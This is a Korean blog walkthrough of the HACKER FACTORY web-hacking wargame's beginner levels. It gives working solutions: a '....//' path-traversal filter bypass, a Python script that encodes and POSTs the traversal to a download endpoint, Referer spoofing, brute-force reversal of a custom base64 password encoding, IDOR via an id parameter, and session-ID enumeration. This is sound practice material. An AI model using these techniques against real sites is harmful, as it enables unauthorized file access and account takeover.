webhacking/client

HACKER FACTORY 초급 1~8

qkqhxla1 2015. 7. 31. 19:56

http://www.hackerfactory.co.kr/


level 1,2,3 : 프록시로 전달되는 값을 잘 바꾸면 된다. 너무 간단해서 설명이 필요 없다.


level 4 : 파일 다운로드 취약점인데 ../가 필터링되있다. 단순히 ../는 한번만 지워주는거 같으므로

....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//temp/hacktory.txt 경로를

다운받으면 된다. 


level 5 : 글을 읽으려고 하면 막혀있는듯 싶으나 단순히 history.back(-1);로 앞페이지로 되돌려보낸다.

그러니 프록시로 history.back(-1);라인만 지우고 소스코드를 살펴보면 Utill.js라는 js 소스파일을

찾을수 있는데 내부에 들어가보면 관리자가 만든듯한 base64 인코딩과 디코딩이 있다. 

대충 소스를 살펴보면 FileDownload 함수를 잘 실행시켜서 파일을 다운로드받으면 될것같다.

FileName = FileName + "," + DownloadAccessPerm

FileName = Base64.encode(FileName);


var DownloadActionMethod = "POST";

var DownloadActionPage = "HackDownAct.php";

를 잘 구성하면 되겠는데, DownloadAccessPerm은 N으로 세팅되어있는걸로 보아 Y로 바꾸면 된다는걸 알수있고, Base64.encode의 인자로는 '....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//temp/hacktory.txt,Y' 처럼 넣어주면 되겠다. 이 결과를 POST방식으로 보내주면 된다.

코딩.

# -*- encoding: cp949 -*-
import PyV8
import urllib2, re
session = 본인 세션

js="""
var Base64 = {
 
        // private property
        _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
 
        // public method for encoding
        encode : function (input) {
            var output = "";
            var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
            var i = 0;
 
            while (i < input.length) {
 
              chr1 = input.charCodeAt(i++);
              chr2 = input.charCodeAt(i++);
              chr3 = input.charCodeAt(i++);
 
              enc1 = chr1 >> 2;
              enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
              enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
              enc4 = chr3 & 63;
 
              if (isNaN(chr2)) {
                  enc3 = enc4 = 64;
              } else if (isNaN(chr3)) {
                  enc4 = 64;
              }
 
              output = output +
                  this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
                  this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
 
            }
 
            return output;
        },
 
        // public method for decoding
        decode : function (input)
        {
            var output = "";
            var chr1, chr2, chr3;
            var enc1, enc2, enc3, enc4;
            var i = 0;
 
            input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
 
            while (i < input.length)
            {
                 enc1 = this._keyStr.indexOf(input.charAt(i++));
                 enc2 = this._keyStr.indexOf(input.charAt(i++));
                 enc3 = this._keyStr.indexOf(input.charAt(i++));
                 enc4 = this._keyStr.indexOf(input.charAt(i++));
 
                 chr1 = (enc1 << 2) | (enc2 >> 4);
                 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                 chr3 = ((enc3 & 3) << 6) | enc4;
 
                 output = output + String.fromCharCode(chr1);
 
                 if (enc3 != 64) {
                     output = output + String.fromCharCode(chr2);
                 }
                 if (enc4 != 64) {
                     output = output + String.fromCharCode(chr3);
                 }
            }
 
            return output;
        }
    }
    FileName = "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//temp/hacktory.txt" + "," + "Y";
	FileName = Base64.encode(FileName);	
	document.write(FileName);
"""
 
class mock_document(object):
    def __init__(self):
        self.value=''
    def write(self, *args):
        self.value += ''.join(str(i) for i in args)
class Global(PyV8.JSClass):
    def __init__(self):
        self.document = mock_document()
        self.alert = mock_document()
scope = Global()
ctxt = PyV8.JSContext(scope)
ctxt.enter()
 
ctxt.eval(js) 
post = 'FileName='+scope.document.value 

def download_photo(filename,post):
    file_path = "%s%s" % ("C:\\Users\\Ko\\Documents\\Visual Studio 2012\\Projects\\PythonApplication37\\", filename)
    downloaded_image = file(file_path, "wb")
         
    req = urllib2.Request('http://www.hackerfactory.co.kr/wargame/war5/HackDownAct.php',post)
    req.add_header('Cookie',session)
    image_on_web = urllib2.urlopen(req)
    while True:
        buf = image_on_web.read()
        if len(buf) == 0:
            break
        downloaded_image.write(buf)
    downloaded_image.close()
    image_on_web.close()
    return file_path

download_photo('answer.txt',post)

level 6 : 들어가면 글을 읽을수있는데 관리자글은 잠겨있다. 글을 보면 뒤에 ?idx=번호 를 보고 관리자는 ?idx=2001로 들어가면 됨을 알수있다. 근데 들어가보면 정상적인 경로로 접근하라고 한다. 정상적인 경로는

http://www.hackerfactory.co.kr/wargame/war6/board.php 에서 접근했을때의 경로이므로 

Referer: http://www.hackerfactory.co.kr/wargame/war6/board.php를 요청보낼시 추가해주고 보내면 키가 나온다.


level 7 : 소스를 보면 관리자 글을 보려면 암호를 입력해야함을 알수 있다. 또 Utill.js를 발견할수 있는데, 내가 입력한 값을 암호화시킨값이 iRAJHaTRiRAJHaLLFBOwrXoLF6j2rSXC 와 같으면 됨을 추측할수있다.

그런데 encode함수를 잘 살펴보면 입력값은 모두 영대소문자 아스키로 가정하고 간단히 암호화해주는걸 알수있다. (모두 input.charCodeAt 함수를 거친다.) 정석대로라면 역으로 하나하나풀어나가야 할테지만 야매로는 암호를 3개씩 푸는데, 32~128사이의 아스키값을 다 대입해봐서 맞는 답이 나오면 그것을 키로 볼수 있다. 경우의 수도 3개 뽑을때마다 96*96*96으로 그리 많지 않다. 그래서 그냥 그렇게 했다.

# -*- encoding: cp949 -*-
s = 'iRAJHaTRiRAJHaLLFBOwrXoLF6j2rSXC' 
_keyStr = "DUYZabcVWdQefGghijklmAnEFopqrHstKLuvXwRSxyz0IO12M34JN5B6789+PT/=C"
answer = ''
index = 0
while index < len(s):
    for chr1 in range(32,128):
        for chr2 in range(32,128):
            for chr3 in range(32,128):
                enc1 = _keyStr[chr1 >> 2];
                enc2 = _keyStr[((chr1 & 3) << 4) | (chr2 >> 4)];
                enc3 = _keyStr[((chr2 & 15) << 2) | (chr3 >> 6)];
                enc4 = _keyStr[chr3 & 63];

                if enc1==s[index] and enc2==s[index+1] and enc3==s[index+2] and enc4==s[index+3]:
                    answer += chr(chr1)+chr(chr2)+chr(chr3)
                    print 'yes!!'
    print answer,index
    index += 4
print answer

중간의 isNaN이 있는 부분은 파이썬에서 적합한 함수를 못찾아서 구현 못했다. isNaN부분을 살펴보니 해당 부분이 작동하면 결과값이 C가 나와야 하는데, 결과인 iRAJHaTRiRAJHaLLFBOwrXoLF6j2rSXC를 보면 C가 있는 부분은 맨 끝부분이므로 대충 게싱하고, 게싱을 못하면 그때 구현해보려고 했는데 다행히 쉽게 게싱이 잘됬다. 돌리면 BestOfBestHackerFacto가 나오는데 안뽑힌부분은 ry임을 눈치로 알수있다.


level 8 : 수정 페이지로 들어가면 ?id=guest인데 ?id=admin으로 변경하는걸로 admin의 수정페이지를 볼수있다. password가 **인데 크롬의 요소분석기로 보면 admin의 비밀번호는 HappyHacktoryGoGo임을 알수있다.


level 10 : 5000~6000이 관리자라고 주석에 써있는데 5000을 들어가면 아무것도 없다. 그러면 나머지 1000개를 들어가보면서 유효한 페이지를 찾으면 된다.

# -*- encoding: cp949 -*-
import urllib2
for i in range(5000,6000):
    req = urllib2.Request('http://www.hackerfactory.co.kr/wargame/war10/MyPage.php','sid='+str(i))
    req.add_header('cookie',본인 쿠키)
    page = urllib2.urlopen(req).read().decode('utf-8')
    if page.find('history.back(-1);') == -1:
        print 'find!!', i

소스를 돌려서 나오는 번호대로 들어가다보면 5232번이었나에 admin이 있다.

'webhacking > client' 카테고리의 다른 글

hackthis Intermediate 1~5, main  (0) 2015.03.19
webhacking.kr 34, packer  (0) 2015.03.13
hackthis javascript 1~5  (0) 2015.02.12
happy-security.de javascript 1~7,9,10  (0) 2015.01.22
hack this site JavaScript 1~7  (0) 2015.01.20